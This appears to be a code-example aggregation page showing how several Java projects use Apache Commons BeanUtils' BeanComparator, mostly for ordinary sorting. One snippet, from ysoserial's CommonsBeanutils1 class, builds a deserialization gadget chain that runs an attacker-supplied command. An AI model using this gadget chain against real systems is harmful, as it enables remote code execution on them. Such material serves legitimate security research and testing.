use of org.apache.commons.beanutils.BeanComparator in project BroadleafCommerce by BroadleafCommerce.
the class ExtensionManager method sortHandlers.
@SuppressWarnings({ "unchecked", "rawtypes" })
protected void sortHandlers() {
if (!handlersSorted) {
Comparator fieldCompare = new BeanComparator("priority");
Collections.sort(handlers, fieldCompare);
handlersSorted = true;
}
}
use of org.apache.commons.beanutils.BeanComparator in project collect by openforis.
the class SurveyController method loadSurveys.
@SuppressWarnings("unchecked")
@RequestMapping(method = GET)
@ResponseBody
public List<?> loadSurveys(@RequestParam(value = "userId", required = false) Integer userId, @RequestParam(value = "groupId", required = false) Integer groupId, @RequestParam(value = "full", required = false) boolean fullSurveys, @RequestParam(value = "includeCodeListValues", required = false) boolean includeCodeListValues, @RequestParam(value = "includeTemporary", required = false) boolean includeTemporary) throws Exception {
String languageCode = Locale.ENGLISH.getLanguage();
if (userId == null) {
userId = sessionManager.getLoggedUser().getId();
}
Set<Integer> groupIds = getAvailableUserGroupIds(userId, groupId);
List<SurveySummary> summaries = new ArrayList<SurveySummary>(surveyManager.getSurveySummaries(languageCode, groupIds));
if (includeTemporary) {
summaries.addAll(surveyManager.loadTemporarySummaries(languageCode, true, groupIds));
}
List<Object> views = new ArrayList<Object>();
for (SurveySummary surveySummary : summaries) {
if (fullSurveys) {
CollectSurvey survey = surveyManager.getOrLoadSurveyById(surveySummary.getId());
views.add(generateView(survey, includeCodeListValues));
} else {
views.add(surveySummary);
}
}
views.sort(Collections.reverseOrder(new BeanComparator("modifiedDate")));
return views;
}
use of org.apache.commons.beanutils.BeanComparator in project coprhd-controller by CoprHD.
the class CreationTimeComparator method getComparator.
private ComparatorChain getComparator() {
if (COMPARATOR == null) {
COMPARATOR = new ComparatorChain();
COMPARATOR.addComparator(new BeanComparator(CREATION_TIME, new NullComparator()), reverseOrder);
}
return COMPARATOR;
}
use of org.apache.commons.beanutils.BeanComparator in project ysoserial by frohoff.
the class CommonsBeanutils1 method getObject.
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
use of org.apache.commons.beanutils.BeanComparator in project motech by motech.
the class InMemoryQueryFilter method order.
/**
* Orders the provided collection using the provided ordering information.
* @param collection the collection to order
* @param orderList list of orders that should be applied to the collection
* @param <T> the type of the collection to order
* @return a new list with ordered objects from the provided collection
*/
private static <T> List<T> order(Collection<T> collection, List<Order> orderList) {
List<Comparator<T>> comparatorList = new ArrayList<>();
for (Order order : orderList) {
Comparator<T> comparator = new BeanComparator<>(order.getField(), new NullComparator());
// reverse it if order is descending
if (order.getDirection() == Order.Direction.DESC) {
comparator = new ReverseComparator(comparator);
}
comparatorList.add(comparator);
}
// we use a compound comparator to chain comparators for each provided order
CompoundComparator<T> compoundComparator = new CompoundComparator<>(comparatorList.toArray(new Comparator[comparatorList.size()]));
// convert to a list and sort it
List<T> result = new ArrayList<>(collection);
Collections.sort(result, compoundComparator);
return result;
}
Aggregations